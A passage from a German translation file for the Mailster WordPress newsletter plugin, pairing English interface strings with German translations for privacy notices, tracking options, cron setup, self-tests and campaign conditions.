"DSGVO Konforme Formulare" #: classes/settings.class.php:278 build/forms/gdpr/index.js:1 msgid "I agree to the privacy policy and terms." msgstr "Ich akzeptiere die Datenschutzbestimmungen." #: classes/privacy.class.php:28 msgid "If you have signed up for our newsletter you may receive emails from us. This includes but not limited to transactional emails and marketing emails." msgstr "Wenn du unseren Newsletter abonniert hast, erhältst du möglicherweise E-Mails von uns. Dies umfasst unter anderem Transaktions- und Marketing-E-Mails." #: views/settings/privacy.php:72 msgid "Link to your privacy policy page." msgstr "Link zu der Seite mit den Datenschutzbestimmungen." #: classes/privacy.class.php:158 msgid "List Name" msgstr "Listenname" #: classes/privacy.class.php:96 classes/privacy.class.php:104 msgid "Mailster Data" msgstr "Mailster Daten" #: classes/privacy.class.php:51 msgid "On signup we collect %s and the current web address were you sign up." msgstr "Bei der Anmeldung sammeln wir %s und die aktuelle Webadresse, wo du dich angemeldet hast." #: classes/privacy.class.php:84 msgid "Once you get an email from us we track %s." msgstr "Sobald du eine E-Mail von uns bekommst, tracken wir %s." #: classes/privacy.class.php:209 build/workflows/email/index.js:1 msgid "Opened" msgstr "Geöffnet" #: views/newsletter/template.php:75 msgid "Search Modules..." msgstr "Module suchen..." #: classes/privacy.class.php:203 views/logging/detail.php:31 #: build/workflows/email/index.js:1 msgid "Sent" msgstr "Gesendet" #: views/settings/privacy.php:65 msgid "Users must check this checkbox to submit the form." msgstr "Benutzer müssen diese Checkbox aktivieren um das Formular abschicken zu können." #: classes/privacy.class.php:88 msgid "We respect your browsers \"Do Not Track\" feature which means we do not track your interaction with our emails." msgstr "Wir respektieren die \"Do Not Track\"-Funktion deines Browsers, was bedeutet, dass wir deine Interaktion mit unseren E-Mails nicht verfolgen." #: classes/privacy.class.php:53 msgid "We send our emails via" msgstr "Wir versenden unsere E-Mails über" #: classes/privacy.class.php:30 msgid "We'll only send emails which you have explicitly or implicitly (registration, product purchase etc.) signed up to." msgstr "Wir senden nur E-Mails, für die du dich explizit oder implizit (Registrierung, Produktkauf etc.) angemeldet hast." #: classes/privacy.class.php:24 msgid "What data Mailster collects from your subscribers" msgstr "Welche Daten Mailster von deinen Abonnenten sammelt" #: classes/settings.class.php:279 msgid "You have to agree to the privacy policy and terms!" msgstr "Du musst den Datenschutzbestimmungen zustimmen!" #: classes/privacy.class.php:60 classes/privacy.class.php:62 msgid "a service called %s" msgstr "einen Dienst namens %s" #: views/newsletter/template.php:76 msgid "clear search" msgstr "Suche entfernen" #: classes/privacy.class.php:73 msgid "if you click a link in the email" msgstr "wenn du auf einen Link in der E-Mail klickst" #: classes/privacy.class.php:70 msgid "if you open the email in your email client" msgstr "wenn du die E-Mail in deinem E-Mail-Programm öffnest" #: classes/privacy.class.php:56 msgid "our own server." msgstr "unseren eigenen Server." #: classes/privacy.class.php:58 msgid "via SMTP host %s" msgstr "über SMTP-Host %s" #: classes/privacy.class.php:47 msgid "your IP address and timestamp when you have confirmed your subscription" msgstr "deine IP-Adresse und den Zeitstempel, wenn du dein Abonnement bestätigt hast" #: classes/privacy.class.php:79 msgid "your current IP address" msgstr "deine aktuelle IP-Adresse" #: classes/privacy.class.php:46 msgid "your current IP address and timestamp of signup" msgstr "deine aktuelle IP-Adresse und den Zeitstempel der Anmeldung" #: classes/privacy.class.php:43 classes/privacy.class.php:76 msgid "your current location" msgstr "dein aktueller Standort" #: classes/privacy.class.php:33 msgid "your email address" msgstr "deine E-Mail Adresse" #: classes/privacy.class.php:34 msgid "your name" msgstr "Ihr Name" #: views/subscribers/overview.php:14 msgid "%s Subscriber found" msgid_plural "%s Subscribers found" msgstr[0] "%s Abonnent gefunden" msgstr[1] "%s Abonnenten gefunden" #: classes/mailster.class.php:1347 msgid "Self Tests" msgstr "Selbsttest" #: views/manage/export.php:178 msgid "Separator" msgstr "Separator" #: classes/geo.class.php:272 msgid "South America" msgstr "Süd Amerika" #: views/settings/privacy.php:14 msgid "Track location in campaigns" msgstr "Standort in Kampagnen bestimmen." #: views/settings/privacy.php:32 msgid "Update Location Database" msgstr "Standortdatenbank aktualisieren" #: views/settings/privacy.php:15 msgid "Update location database automatically" msgstr "Standortdatenbank automatisch aktualisieren" #: classes/subscribers.table.class.php:390 msgid "confirm list" msgstr "Liste bestätigen" #: classes/subscribers.table.class.php:266 views/subscribers/detail.php:292 msgid "not confirmed" msgstr "nicht bestätigt" #: classes/ajax.class.php:1976 build/workflows/action/index.js:1 #: build/workflows/conditions/index.js:1 build/workflows/delay/index.js:1 #: build/workflows/email/index.js:1 build/workflows/jumper/index.js:1 #: build/workflows/notification/index.js:1 build/workflows/stop/index.js:1 #: build/workflows/trigger/index.js:1 msgid "right now" msgstr "gerade jetzt" #: classes/subscribers.table.class.php:390 msgid "unconfirm list" msgstr "Liste unbestätigen" #: classes/subscribers.class.php:351 classes/subscribers.class.php:358 #: classes/subscribers.class.php:365 msgid "%1$d Subscribers confirmed to %2$s lists" msgstr "%1$d Abonnenten wurden in %2$s Listen bestätigt" #: classes/subscribers.class.php:372 msgid "%1$d Subscribers unconfirmed from %2$s lists" msgstr "%1$d Abonnenten wurden in %2$s Listen unbestätigt" #: classes/geo.class.php:273 msgid "Africa" msgstr "Afrika" #: classes/geo.class.php:270 msgid "Asia/Pacific Region" msgstr "Asien/Pazifik Region" #: classes/mailster.class.php:2054 classes/update.class.php:197 msgid "Authentication servers are currently down. Please try again later!" msgstr "Authentifizierungserver sind zur Zeit nicht erreichbar. Bitte probiere es später erneut!" #: classes/conditions.class.php:1089 msgid "Continents" msgstr "Kontinente" #: classes/ajax.class.php:1972 msgid "Couldn't load Location Database" msgstr "Konnte Standortdatenbank nicht laden" #: classes/mailster.class.php:1612 classes/manage.class.php:111 msgid "Downloading %s Subscribers..." msgstr "Herunterladen von %s Abonnenten..." #: classes/geo.class.php:269 msgid "Europe" msgstr "Europa" #: classes/geo.class.php:278 msgid "European Union" msgstr "Europäische Union" #: views/setup/extensions.php:24 views/setup/privacy.php:6 msgid "If you have users in the European Union you have to comply with the General Data Protection Regulation (GDPR). Please check our knowledge base on how Mailster can help you." msgstr "Falls du Benutzer in der Europäischen Union hast, must du die Datenschutz Grundverordnung (DSGVO) einhalten. Bitte besuche unsere Knowledge Base um zu erfahren wie Mailster dir dabei helfen kann." #: classes/ajax.class.php:1977 msgid "Location Database success loaded!" msgstr "Standortdatenbank erfolgreich geladen!" #: views/setup/extensions.php:23 views/setup/privacy.php:5 msgid "Mailster can track specific behaviors and the location of your subscribers to target your audience better. In most countries you must get the consent of the subscriber if you sent them marketing emails. Please get in touch with your lawyer for legal advice in your country." msgstr "Mailster kann bestimmte Verhalten und den Standort deine Abonnenten tracken um dein Publikum gezielter zu erreichen. In den meisten Ländern must du die Zustimmung deiner Abonnenten einholen um ihnen Marketingemails zu senden. Bitte kontaktiere deinen Anwalt für rechtlich Ratschläge in deinem dein Land." #: classes/campaigns.class.php:1750 classes/template.class.php:684 msgid "Module %s" msgstr "Modul %s" #: classes/geo.class.php:271 msgid "North America" msgstr "Nord Amerika" #: classes/geo.class.php:274 msgid "Oceania/Australia" msgstr "Ozeanien/Australien" #: views/manage/export.php:134 msgid "Output Options" msgstr "Ausgabeeinstellungen" #: classes/mailster.class.php:1609 classes/manage.class.php:108 msgid "Preparing Download for %1$s Subscribers...%2$s" msgstr "Bereite Download für %1$s Abonnenten vor...%2$s" #: classes/conditions.class.php:215 msgid "IP on Signup" msgstr "IP beim Anmelden" #: classes/conditions.class.php:216 msgid "IP on confirmation" msgstr "IP beim Bestätigen" #: views/manage.php:10 msgid "Import Subscribers" msgstr "Abonnenten Importieren" #: includes/cron.php:105 msgid "Invalid Cron Worker!" msgstr "Falscher Cron Worker!" #: views/settings/delivery.php:51 msgid "It's %1$s, %2$s" msgstr "Es ist %1$s, %2$s" #: classes/tests.class.php:553 msgid "Last hit was %s ago" msgstr "Letzter Treffer war vor %s" #: views/settings/subscribers.php:40 msgid "List Based Subscription" msgstr "Listenbasierte Anmeldungen" #: views/conditions/conditions.php:18 msgid "List related" msgstr "Auf Listen bezogen" #: classes/manage.class.php:1363 msgid "Mailster Subscribers" msgstr "Mailster Abonnenten" #: classes/mailster.class.php:1347 views/tests.php:10 msgid "Mailster Tests" msgstr "Mailster Tests" #: views/tests.php:12 msgid "Mailster will now run some tests to ensure everything is running smoothly. Please keep this browser window open until all tests are finished." msgstr "Mailster wird jetzt ein paar Tests durchführen um sicherzustellen, dass dein System in Ordnung ist. Bitte lass diese Fenster bis zur Fertigstellung geöffnet." #: classes/tests.class.php:123 views/addons/addon.php:80 msgid "More Info" msgstr "Mehr Information" #: classes/mailster.class.php:1650 msgid "Need Support?" msgstr "Brauchst du Hilfe?" #: views/conditions/render.php:1 msgid "No Conditions defined" msgstr "Keine Bedingungen bestimmt" #: views/tests.php:29 msgid "Notices" msgstr "Meldungen" #: views/tests.php:29 msgid "Notices normally don't require any action." msgstr "Diese Meldungen benötigen üblicherweise keine Aktion." #: views/settings/delivery.php:83 msgid "Only affects Campaigns and Auto responders but not transactional emails." msgstr "Betrifft nur Kampagnen und Autoresponder aber keine transaktionalen E-Mails." #: views/tests.php:20 msgid "Output" msgstr "Ausgabe" #: classes/forms.class.php:1605 msgid "PHP" msgstr "PHP" #: views/conditions/conditions.php:35 msgid "Please add your first condition." msgstr "Bitte bestimme deine erste Bedingung." #: classes/campaigns.class.php:2179 msgid "Please define a hook which should trigger the campaign!" msgstr "Bitte bestimme den Action Hook der diese Kampagne auslösen soll!" #: classes/mailster.class.php:1623 classes/manage.class.php:130 msgid "Preparing Import..." msgstr "Import wird vorbereitet..." #: views/settings.php:35 msgid "Privacy" msgstr "Privatsphäre" #: classes/campaigns.class.php:479 views/single-newsletter.php:67 msgid "Private" msgstr "Privat" #: views/settings/cron.php:69 msgid "Release Cron Lock" msgstr "Cron Lock aufheben" #: views/settings/cron.php:106 build/workflows/trigger/index.js:1 msgid "Reset" msgstr "Zurücksetzen" #: classes/mailster.class.php:1647 msgid "Restart Test" msgstr "Test neu starten" #: views/settings/system_info.php:2 msgid "Run System Test" msgstr "System Test starten" #: views/settings/system_info.php:1 msgid "Run a System Test to get more info about issues with Mailster on your server." msgstr "Führe einen System Test durch um mehr Informationen zu Problemen mit Mailster auf deinem Server zu erhalten." #: classes/mailster.class.php:1648 msgid "Running Test %1$s of %2$s: %3$s" msgstr "Test %1$s von %2$s: %3$s" #: classes/mailster.class.php:1290 views/dashboard/mb-mailster.php:67 msgid "Self Test" msgstr "Selbsttest" #: classes/campaigns.class.php:4804 msgid "Sending Problem!" msgstr "Sendeproblem!" #: views/forms/detail.php:452 msgid "Shortcode or PHP" msgstr "Shortcode oder PHP" #: views/tests.php:26 msgid "Show" msgstr "Zeigen" #: classes/widget.class.php:50 msgid "Show form on the newsletter homepage." msgstr "Dieses Formular auf der Newsletter Homepage zeigen." #: views/settings/frontend.php:53 msgid "Show the top bar on the web version" msgstr "Zeige die Infoleiste am oberen Ende der Webversion" #: classes/conditions.class.php:213 msgid "Signup" msgstr "Anmeldung" #: includes/cron.php:102 msgid "Single Cron" msgstr "Einzelner Cron" #: views/tests.php:15 msgid "Start Tests" msgstr "Starte Tests" #: views/settings/subscribers.php:41 msgid "Subscribers sign up on a per list basis instead of globally." msgstr "Abonnenten melden sich separat für jede Liste an." #: views/tests.php:30 msgid "Success" msgstr "Erfolgreich" #: classes/mailster.class.php:1649 msgid "Tests are finished with %1$s Errors, %2$s Warnings and %3$s Notices." msgstr "Tests wurden mit %1$s Fehlern, %2$s Warnungen und %3$s Meldungen beendet." #: views/tests.php:21 msgid "Text Output" msgstr "Textausgabe" #: views/settings.php:39 views/settings/privacy.php:66 msgid "Text Strings" msgstr "Texte" #: classes/cron.class.php:241 msgid "The Cron Process is not setup correctly. This is required to send campaigns. Please check the %s" msgstr "Der Cronprozess ist nicht richtig konfiguriert. Dies ist erforderlich um Kampagnen senden zu können. Bitte überprüfe die %s" #: classes/subscribers.class.php:1215 msgid "The email \"%s\" already exists." msgstr "Die E-Mail \"%s\" existiert bereits." #: classes/form.class.php:1161 msgid "There was an error updating the user" msgstr "Ein Fehler ist beim Aktualisieren des Benutzer aufgetreten." #: views/newsletter/delivery.php:49 msgid "This campaign has been sent on %s." msgstr "Diese Kampagne wurde am %s gesendet." #: views/settings/cron.php:98 msgid "Throughput" msgstr "Verarbeitungsmenge" #: views/settings/delivery.php:50 msgid "Time Frame" msgstr "Zeitfenster" #: views/newsletter/editbar.php:170 msgid "Toggle Crop" msgstr "zuschneiden umschalten" #: views/newsletter/options.php:15 msgid "Track Clicks" msgstr "Klicks tracken" #: views/newsletter/options.php:10 msgid "Track Opens" msgstr "Öffnungen tracken" #: views/settings/privacy.php:9 msgid "Track clicks in your campaigns" msgstr "Klicks in deinen Kampagnen werden getrackt." #: views/settings/privacy.php:8 msgid "Track opens in your campaigns" msgstr "Öffnungen in deinen Kampagnen werden getrackt." #: views/settings/privacy.php:6 msgid "Tracking" msgstr "Tracking" #: classes/campaigns.class.php:2148 msgid "Tracking Clicks is disabled in campaign %s! Please enable tracking or choose a different campaign." msgstr "Klicktracking is ausgeschaltet bei Kampagne %s! Bitte aktivieren oder eine andere Kampagne wählen." #: classes/campaigns.class.php:2141 msgid "Tracking Opens is disabled in campaign %s! Please enable tracking or choose a different campaign." msgstr "Tracking is ausgeschaltet bei Kampagne %s! Bitte aktivieren oder eine andere Kampagne wählen." #: views/conditions/conditions.php:16 msgid "User related" msgstr "Abonnenten bezogen" #: views/tests.php:28 msgid "Warnings" msgstr "Warnungen" #: views/tests.php:28 msgid "Warnings are recommended to get fixed but not required to make Mailster work." msgstr "Auch wenn es kein Problem für Mailster ist wird es empfohlen Warnungen zu beheben." #: views/newsletter/submit.php:23 msgid "Web version" msgstr "Webversion" #: classes/conditions.class.php:894 msgid "Webmail" msgstr "Webmail" #: views/settings/frontend.php:52 msgid "Webversion Bar" msgstr "Webversion Leiste" #: classes/conditions.class.php:210 msgid "WordPress User ID" msgstr "WordPress Benutzer ID" #: classes/forms.class.php:729 classes/forms.class.php:781 msgid "You are not allowed to add forms." msgstr "Du hast keine Rechte neue Formulare zu erstellen." #: views/settings/cron.php:51 msgid "You can also find additional help on our %s." msgstr "Du findest weitere Hilfe in unserer %s" #: classes/tests.class.php:623 msgid "You have no form! Mailster requires at least one form for the newsletter homepage. %s." msgstr "Du hast kein Formular! Mailster braucht zumindest ein Formular für die Newsletter Homepage. %s." #: classes/cron.class.php:238 msgid "Your Cron page hasn't get triggered recently. This is required to send campaigns. Please check the %s" msgstr "Die Cronseite wurde schon lang nicht mehr ausgelöst. Dies ist erforderlich um Kampagnen zu senden. Bitte überprüfe die %s" #: classes/conditions.class.php:350 msgid "clicked link" msgstr "klickte Link" #: classes/ajax.class.php:2176 classes/ajax.class.php:2223 #: views/settings/authentication.php:108 views/settings/authentication.php:119 #: views/settings/cron.php:38 views/settings/cron.php:39 #: views/settings/cron.php:42 views/settings/cron.php:43 #: views/settings/cron.php:44 views/settings/cron.php:45 #: views/settings/cron.php:46 views/settings/cron.php:47 msgid "copy" msgstr "kopieren" #: classes/forms.class.php:1601 classes/forms.class.php:1607 #: classes/forms.class.php:1610 classes/forms.class.php:1613 #: classes/forms.class.php:1680 classes/forms.class.php:1686 #: classes/forms.class.php:1705 classes/forms.class.php:1719 msgid "copy to clipboard" msgstr "in die Zwischenablage kopieren" #: classes/conditions.class.php:351 msgid "didn't clicked link" msgstr "klickte Link nicht" #: classes/forms.table.class.php:129 msgid "duplicate Form" msgstr "Formulare duplizieren" #: classes/conditions.class.php:345 msgid "has not received" msgstr "hat nicht erhalten" #: classes/conditions.class.php:344 msgid "has received" msgstr "hat erhalten" #: classes/conditions.class.php:348 msgid "has received and clicked" msgstr "hat erhalten und geklickt" #: classes/conditions.class.php:349 msgid "has received and not clicked" msgstr "hat erhalten und nicht geklickt" #: classes/conditions.class.php:346 msgid "has received and opened" msgstr "hat erhalten und geöffnet" #: classes/conditions.class.php:347 msgid "has received but not opened" msgstr "hat erhalten aber nicht geöffnet" #: classes/conditions.class.php:492 msgid "is after" msgstr "ist nach dem" #: classes/conditions.class.php:494 msgid "is after or on the" msgstr "ist nach oder am" #: classes/conditions.class.php:493 msgid "is before" msgstr "ist vor dem" #: classes/conditions.class.php:495 msgid "is before or on the" msgstr "ist vor oder am" #: classes/conditions.class.php:362 msgid "is not in List" msgstr "ist nicht in der Liste" #: classes/conditions.class.php:491 msgid "is not on the" msgstr "ist nicht am" #: classes/conditions.class.php:490 msgid "is on the" msgstr "ist am" #: views/settings/cron.php:99 msgid "mail" msgstr "mail" #: classes/campaigns.class.php:1086 views/newsletter/delivery.php:301 msgid "only if new content is available." msgstr "nur wenn neuer Inhalt verfügbar ist." #: views/settings/delivery.php:69 build/workflows/delay/index.js:1 msgid "only on" msgstr "nur an" #: views/settings/cron.php:40 msgid "or setup a crontab with one of the following commands:" msgstr "oder erstelle einen crontab mit einem der folgenden Kommandos:" #: views/newsletter/receivers.php:50 msgid "remove all" msgstr "alle entfernen" #: views/settings/delivery.php:54 msgid "send mails only between" msgstr "Sende Mails nur zwischen" #: classes/tests.class.php:595 classes/tests.class.php:612 msgid "this page" msgstr "diese Seite" #: views/subscribers/detail.php:459 msgid "unsubscribed from a list" msgstr "von einer Liste abmelden" #: classes/conditions.class.php:628 msgid "%d stars" msgstr "%d Sterne" #: classes/dashboard.class.php:214 msgid "%s Subscribers" msgstr "%s Abonnenten" #: classes/frontpage.class.php:350 classes/frontpage.class.php:394 msgid "%s is not a valid URL!" msgstr "%s ist keine gültige URL!" #: classes/tests.class.php:575 views/settings/cron.php:101 msgid "%s mail per second" msgid_plural "%s mails per second" msgstr[0] "%s Mail in der Sekunde" msgstr[1] "%s Mails in der Sekunde" #: classes/conditions.class.php:576 msgctxt "opening curly double quote" msgid "“" msgstr "„" #: classes/conditions.class.php:577 msgctxt "closing curly double quote" msgid "”" msgstr "“" #: classes/conditions.class.php:969 msgid "Aggregate Campaigns" msgstr "Aggregierte Kampagnen" #: classes/conditions.class.php:521 msgid "Any Campaigns within the last 1 month" msgstr "Eine Kampagne innerhalb des letzten Monats" #: classes/conditions.class.php:522 msgid "Any Campaigns within the last 3 months" msgstr "Eine Kampagne innerhalb der letzten 3 Monate" #: classes/conditions.class.php:520 msgid "Any Campaigns within the last 7 days" msgstr "Eine Kampagne innerhalb der letzten 7 Tage" #: classes/conditions.class.php:519 msgid "Any of the Last 5 Campaigns" msgstr "Eine der letzten 5 Kampagnen" #: views/tests.php:30 msgid "Best requirements for Mailster to work." msgstr "Empfohlen für Mailster." #: views/tests.php:18 msgid "Click the button to start test" msgstr "Klicke den Button um den Test zu starten" #: classes/conditions.class.php:239 classes/subscribers.class.php:1942 msgid "Client" msgstr "Klient" #: classes/conditions.class.php:240 msgid "Clienttype" msgstr "Klienttyp" #: classes/subscribers.table.class.php:170 views/newsletter/receivers.php:22 #: views/newsletter/receivers.php:129 build/forms/form-wrapper/index.js:1 msgid "Close" msgstr "Schließen" #: views/manage/delete.php:28 views/manage/export.php:52 #: views/newsletter/receivers.php:43 build/workflows/conditions/index.js:1 #: build/workflows/jumper/index.js:1 build/workflows/trigger/index.js:1 msgid "Conditions" msgstr "Bedingungen" #: classes/mailster.class.php:1531 msgid "Copied!" msgstr "Kopiert!" #: views/tests.php:36 views/tests.php:41 msgid "Copy Info to Clipboard" msgstr "Info in die Zwischenablage kopieren" #: views/settings/manage-settings.php:9 msgid "Copy to Clipboard" msgstr "In die Zwischenablage kopieren" #: classes/tests.class.php:623 msgid "Create a new form now" msgstr "Neues Formular erstellen" #: classes/campaigns.class.php:1785 msgid "Do you really like to remove all conditions?" msgstr "Willst du wirklich alle Bedingungen entfernen?" #: classes/campaigns.class.php:1784 views/newsletter/receivers.php:50 msgid "Edit Conditions" msgstr "Bedingungen bearbeiten" #: classes/manage.class.php:691 msgid "Email address is invalid." msgstr "E-Mailadresse ist ungültig." #: views/tests.php:27 msgid "Errors" msgstr "Fehler" #: views/tests.php:27 msgid "Errors must be fixed in order to make Mailster work correctly." msgstr "Fehler müssen behoben werden damit Mailster korrekt funktioniert." #: views/manage/export.php:173 msgid "Excel Spreadsheet" msgstr "Excel Datei" #: classes/mailster.class.php:1611 classes/manage.class.php:110 msgid "Export finished" msgstr "Export abgeschlossen" #: classes/subscribers.class.php:394 msgid "Finished!" msgstr "Fertig!" #: views/settings/frontend.php:8 msgid "Page ID:" msgstr "Seiten ID:" #: classes/update.class.php:298 msgid "changelog page" msgstr "Changelog Seite" #: views/settings/advanced.php:12 msgid "Disable Form Caching" msgstr "Caching bei Formularen deaktivieren" #: views/settings/advanced.php:12 msgid "Enable this option if you have issue with the security nonce on Mailster forms." msgstr "Aktiviere diese Option falls du Probleme mit der Security Nonce bei Formularen hast." #: views/settings/frontend.php:8 msgid "Find your Page ID in the address bar of the edit screen of this page." msgstr "Die ID findest du in der Addresszeile wenn du die Seite bearbeitest." #: classes/update.class.php:298 msgid "Hey! Looks like you have an outdated version of Mailster! It's recommended to keep the plugin up to date for security reasons and new features. Check the %s for the most recent version." msgstr "Hey! Sieht aus, als hättest du eine veraltete Version von Mailster! Es wird empfohlen, das Plugin aus Sicherheitsgründen und wegen neuer Funktionen auf dem neuesten Stand zu halten. Überprüfe die %s für die aktuellste Version." #: views/settings/advanced.php:10 msgid "Cache" msgstr "Cache" #: views/settings/advanced.php:34 msgid "A unique string to prevent form submissions via POST. Pass this value in a '_nonce' variable. Keep empty to disable test." msgstr "Eine einzigartige Zeichenfolge um ein unerlaubtes Abschicken eines Formulars zu verhindern. Sende diesen Wert in einer \"_nonce\" Variable, Feld leer lassen um Test zu deaktivieren." #: classes/dashboard.class.php:216 msgid "Check Again" msgstr "Erneut überprüfen" #: classes/dashboard.class.php:217 msgid "Checking..." msgstr "Überprüfen..." #: views/settings/advanced.php:32 msgid "Form POST protection" msgstr "POST Schutz" #: classes/form.class.php:889 msgid "Security Nonce is invalid!" msgstr "Sicherheitsschlüssel ist nicht korrekt!" #: classes/ajax.class.php:634 classes/ajax.class.php:878 msgid "Nonce invalid! Please reload site." msgstr "Die Nonce is nicht mehr gültig! Bitte die Seite neu laden." #: classes/helper.class.php:986 msgid "The user canceled the subscription via the website." msgstr "Der Benutzer hat sich via Webseite abgemeldet." #: classes/helper.class.php:983 msgid "The user clicked on an unsubscribe link in the campaign." msgstr "Der Benutzer benutzte eine Link in der Kampagne um sich abzumelden." #: classes/helper.class.php:980 msgid "The user clicked on the unsubscribe option in the Mail application." msgstr "Der Benutzer verwendete die Abmeldefunktion in der E-Mailanwendung" #: classes/helper.class.php:989 msgid "The user marked this message as Spam in the Mail application." msgstr "Der Benutzer markierte dich Nachricht als Spam in der E-Mailanwendung." #: classes/subscribers.class.php:3729 msgid "Unsubscribes on %s" msgstr "Abgemeldet am %s" #: classes/ajax.class.php:162 msgid "Your nonce is expired! Please reload the site." msgstr "Die Nonce is nicht mehr gültig! Bitte die Seite neu laden." #: classes/templates.class.php:1116 msgid "Not able to create module screen shots of %1$s. Read more about this %2$s." msgstr "Konnte die Screenshots für %1$s nicht erstellen. Erfahre mehr darüber %2$s." #: classes/lists.class.php:1532 msgid "Default List" msgstr "Standardliste" #: views/dashboard/mb-mailster.php:21 msgid "User: %1$s - %2$s" msgstr "Benutzer: %1$s - %2$s" #: classes/dashboard.class.php:73 msgid "Mailster Dashboard" msgstr "Mailster Dashboard" #: views/settings/advanced.php:28 msgid "Mailster detects this setting by default so change only if detection fails." msgstr "Mailster kann diese Einstellung automatisch bestimmen. Ändere sie also nur wenn die Erkennung fehlschlägt." #: views/subscribers/detail.php:318 msgid "Please enter a valid Google API key on the settings page if the map is missing!" msgstr "Bitte gib einen gültigen Google API key auf der Einstellungsseite ein wenn die Karte nicht angezeigt wird!" #: classes/mailster.class.php:1343 classes/mailster.class.php:1450 msgid "Setup" msgstr "Setup" #: views/settings/advanced.php:27 msgid "URL Rewrite" msgstr "URL Rewrite" #: views/settings/advanced.php:28 msgid "Website supports URL rewrite" msgstr "Diese Webseite unterstützt URL rewrite" #: patterns/workflows.php:70 msgid "Welcome" msgstr "Willkommen" #: views/settings/cron.php:37 msgid "alternative Cron URL" msgstr "alternative Cron URL" #: classes/campaigns.class.php:1142 msgid "the users %1$s value" msgstr "Benutzers %1$s Wert" #: classes/campaigns.class.php:4503 msgid "Click Date" msgstr "Klickdatum" #: views/settings/template.php:26 views/setup/basics.php:38 msgid "A link for your logo." msgstr "Ein Link für dein Logo" #: classes/mailster.class.php:498 msgid "Dismiss" msgstr "Verwerfen" #: views/settings/template.php:25 views/setup/basics.php:37 msgid "Logo Link" msgstr "Logo Link" #: views/settings/cron.php:27 msgid "Use the alternative Cron URL if you have troubles with this one by clicking %s." msgstr "Verwende die alternative Cron URL wenn du Probleme damit hast indem du %s klickst." #: views/forms/detail.php:175 views/forms/detail.php:297 msgid "Define the Options" msgstr "Bestimme die Optionen" #: classes/subscribers.class.php:4139 msgid "Pending" msgstr "Ausstehend" #: classes/block-forms.class.php:1782 classes/subscribers.class.php:4141 msgid "Unsubscribed" msgstr "Abgemeldet" #: classes/mailster.class.php:2031 msgid "Register via the %s." msgstr "Via %s registrieren." #: views/newsletter/details.php:115 msgctxt "in pie chart" msgid "bounce" msgid_plural "bounces" msgstr[0] "unzustellbar" msgstr[1] "unzustellbar" #: views/dashboard/mb-campaigns.php:34 views/dashboard/mb-lists.php:26 msgctxt "in pie chart" msgid "bounces" msgstr "unzustellbar" #: views/newsletter/details.php:106 msgctxt "in pie chart" msgid "click" msgid_plural "clicks" msgstr[0] "geklickt" msgstr[1] "geklickt" #: views/dashboard/mb-campaigns.php:32 views/dashboard/mb-lists.php:24 msgctxt "in pie chart" msgid "clicks" msgstr "geklickt" #: views/newsletter/details.php:100 msgctxt "in pie chart" msgid "opened" msgid_plural "opens" msgstr[0] "geöffnet" msgstr[1] "geöffnet" #: views/dashboard/mb-campaigns.php:31 views/dashboard/mb-lists.php:23 msgctxt "in pie chart" msgid "opens" msgstr "geöffnet" #: views/newsletter/details.php:95 msgctxt "in pie chart" msgid "receiver" msgid_plural "receivers" msgstr[0] "Empfänger" msgstr[1] "Empfänger" #: views/dashboard/mb-campaigns.php:30 views/dashboard/mb-lists.php:22 msgctxt "in pie chart" msgid "total" msgstr "gesamt" #: views/newsletter/details.php:111 msgctxt "in pie chart" msgid "unsubscribe" msgid_plural "unsubscribes" msgstr[0] "abgemeldet" msgstr[1] "abgemeldet" #: views/dashboard/mb-campaigns.php:33 views/dashboard/mb-lists.php:25 msgctxt "in pie chart" msgid "unsubscribes" msgstr "abgemeldet" #: views/setup/homepage.php:24 msgctxt "the URL not the place" msgid "Location" msgstr "Adresse" #: views/settings/cron.php:85 msgid "probably you" msgstr "wahrscheinlich du" #: classes/subscribers.class.php:394 msgid "processing page %1$s of %2$s" msgstr "bearbeite Seite %1$s von %2$s" #: classes/subscribers.class.php:106 msgid "processing page %d" msgstr "Seite %d in arbeit" #: classes/settings.class.php:130 msgctxt "profile slug" msgid "profile" msgstr "profil" #: classes/campaigns.class.php:1008 includes/cron.php:87 includes/cron.php:144 msgid "progressing" msgstr "in arbeit" #: views/newsletter/submit.php:26 views/newsletter/submit.php:31 msgid "Protect the web version with a password." msgstr "schütze die Webansicht mit einem Passwort" #: views/settings/frontend.php:197 msgid "queued" msgstr "in Warteschlange" #: views/settings/authentication.php:29 msgid "read more" msgstr "weiterlesen" #: classes/campaigns.class.php:1786 msgid "ready!" msgstr "fertig!" #: views/settings/cron.php:18 msgid "recommended for many subscribers" msgstr "empfohlen für vielen Abonnenten" #: views/newsletter/details.php:130 msgid "receivers" msgstr "Empfänger" #: views/forms/detail.php:415 build/forms/form-wrapper/index.js:1 msgid "Redirect after confirm" msgstr "Weiterleiten nach Bestätigung" #: views/forms/detail.php:319 build/forms/form-wrapper/index.js:1 msgid "Redirect after submit" msgstr "Weiterleiten nach dem Abschicken" #: views/newsletter/optionbar.php:13 msgid "redo" msgstr "wiederherstellen" #: classes/manage.import.wordpress.php:71 msgid "Registered" msgstr "Registriert" #: includes/cron.php:109 build/forms/form-wrapper/index.js:1 msgid "reload" msgstr "neu laden" #: classes/ajax.class.php:2681 msgid "reloading" msgstr "neu laden" #: classes/conditions.class.php:925 classes/conditions.class.php:992 #: classes/conditions.class.php:1022 classes/conditions.class.php:1049 #: classes/conditions.class.php:1102 views/settings/template.php:41 #: build/workflows/trigger/index.js:1 msgid "remove" msgstr "entfernen" #: classes/campaigns.class.php:1761 msgid "Remove %s" msgstr "%s entfernen" #: views/manage/delete.php:46 msgid "Remove all actions from affected users" msgstr "Alle Aktionen der betroffenen Benutzer entfernen" #: views/settings/advanced.php:23 msgid "Remove all data on plugin deletion" msgstr "Alle Daten beim Löschen des Plugins entfernen" #: views/conditions/conditions.php:47 msgid "remove condition" msgstr "Bedingung entfernen" #: views/newsletter/editbar.php:349 msgid "remove element" msgstr "Element entfernen" #: classes/settings.class.php:417 views/forms/detail.php:117 #: views/forms/detail.php:150 views/settings/subscribers.php:109 #: views/settings/subscribers.php:125 msgid "remove field" msgstr "Feld entfernen" #: classes/subscribers.table.class.php:390 msgid "remove from list" msgstr "von Liste entfernen" #: classes/campaigns.class.php:1744 msgid "Remove module" msgstr "Modul entfernen" #: views/newsletter/optionbar.php:15 msgid "remove modules" msgstr "Module entfernen" #: views/newsletter/editbar.php:64 msgid "replace with image" msgstr "mit Bild austauschen" #: views/newsletter/details.php:53 msgid "reply-to email" msgstr "Antwortadresse" #: views/forms/detail.php:116 views/forms/detail.php:149 #: views/newsletter/editbar.php:97 msgid "required" msgstr "erforderlich" #: classes/campaigns.class.php:1091 classes/campaigns.class.php:1093 msgid "requires %1$s more %2$s" msgstr 